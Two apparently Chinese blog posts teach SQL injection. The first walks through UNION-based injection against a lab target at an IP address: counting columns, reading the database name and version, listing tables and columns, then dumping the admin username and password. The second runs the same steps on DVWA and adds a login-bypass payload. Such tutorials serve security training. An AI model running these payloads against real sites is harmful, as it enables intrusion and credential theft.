SQL注入

24次阅读

共计 1775 个字符,预计需要花费 5 分钟才能阅读完成。

判断注入点

id=1’,在 1 后面加 ’,页面出错
id=1 and 1= 1 正常,id=1 and 1=2,页面出错
id=1 and 1=’1’ 正常,id=1 and 1=’1’ 页面出错
注:通过构造错误的语句,根据返回结果来判断是否存在注入点

手动注入

  • 判断字段数
    id =1 order by x,x=1,2,3,4,·······,按第 1,2,3,4,······列进行排序
  • 判断回显点
    union select 1,2,3,4,5,6,7,8,9,10,11 from admin,1,2,3,4…,这里的几个数字纯粹是凑数的, 凑够和 union 关键字前面的那个表的字段数一样 ,不然没法拼接成一个表。在 sql 注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来; 效果是 from 当前字段对应的服务器端的一张表。权限肯定有限制,所以 要看返回的数字才能确定哪一列可以回显到客户端,而不是随便哪一列都能利用的。比如服务器返回 3,说明第 3 列可以回显

查询相关内容

  • 猜表名
    union select 1,2,3,4,5,6,7,8,9,10 from 表名
    如果不报错,则该表存在
  • 猜字段名 -> 查询字段内容
    union select 1,2,3,4,password,6,7,8,9,10 from 表名
    如果不报错,则该字段存在

实战

目标链接:http://120.203.13.75:6815/index.php

  • 找注入点:

    http://120.203.13.75:6815/index.php?id=1 and 1=2
  • 判断字段数

    http://120.203.13.75:6815/index.php?id=1 order by 2

    1、2 均正常显示,3 的时候出现异常,则当前表的字段数为 2

  • 判断回显点

     http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2 

  • 查相关内容(一定要在回显点处查看!)
    查数据库名

     http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database() 

    查数据库版本

     http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()


    查表名

     http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

    查字段名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1 

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1


    查出 admin 表里 有 id username password 三个字段

    查询字段内容
    构造

    ?id=1 and 1=2 union select 1,username from admin  limit 0,1

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 1,1

    limit 1,1 没有回显,说明只有一个用户

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 0,1 

    如此,得到了管理员账号和密码

正文完
 0

sql注入

24次阅读

共计 1333 个字符,预计需要花费 4 分钟才能阅读完成。

实验楼下运行按照实验楼步骤安装 dvwa,安装完成后登陆将运行级别调为 low
进入 sql injection,进行实验
在输入框中输入 1′ order by 1# 这句话的意思是查询 users 表中 user_id 为 1 的数据并按照第一列的数据进行排序,此时数据显示正常当输入到 1 ′ order by 3#, 出现如下界面,说明该数据表只有两列数据
我们可以使用 union 联合查询,union 能将两个或两个以上 select 语句的查询结果合并成一个结果集合显示,及执行联合查询。注意 union 查询时需和主查询列数相同。
输入 1 ′ union select database(),user()#database() 返回当前网站所使用的数据库名字,user()返回执行当前查询的用户名
再输入 1 ′ union select version(),@@version_compile_os#version()获取当前数据库版本,@@version_compile_os 获取当前操作系统。
接下来我们尝试获取 dvwa 数据库中的表名。information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息, 如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
输入 1 ′ union select table_name,table_schema from information_schema.tables where table_schema= ‘dvwa’#,得到 dvwa 这个数据库中有 guestbook 和 users 两个数据表。
接下来我们猜测 users 表有两个字段 user 和 password,输入 1 ′ union select user,password from users#, 如果猜测正确,可爆破出用户名和密码。
在登录账户页面还可尝试 1′ of 1=1# am 早 mysql 语法,# 后面的内容会被忽略或者输入 1 ’ or ‘1’=’1 这种方式需要在用户名和密码框都输入该注入
判断 sql 注入点通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式:http://xxx.xxx.xxx/abcd.php?i… 对 Sql 注入的判断,主要有两个方面:
判断该带参数的 Url 是否存在 Sql 注入?如果存在 Sql 注入,那么属于哪种 Sql 注入?可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。如果程序员没有足够的安全意识,没有进行必要的字符过滤,存在 SQL 注入的可能性就非常大。最为经典的单引号判断法:在参数后面加上单引号, 比如:http://xxx/abc.php?id=1’ 如果页面返回错误,则存在 Sql 注入。原因是无论字符型还是整型都会因为单引号个数不匹配而报错。sql 注入常用技术有段还包括:
采用非主流通道技术避开输入过滤技术使用特殊的字符强制产生错误使用条件语句利用存储过程推断技术

正文完
 0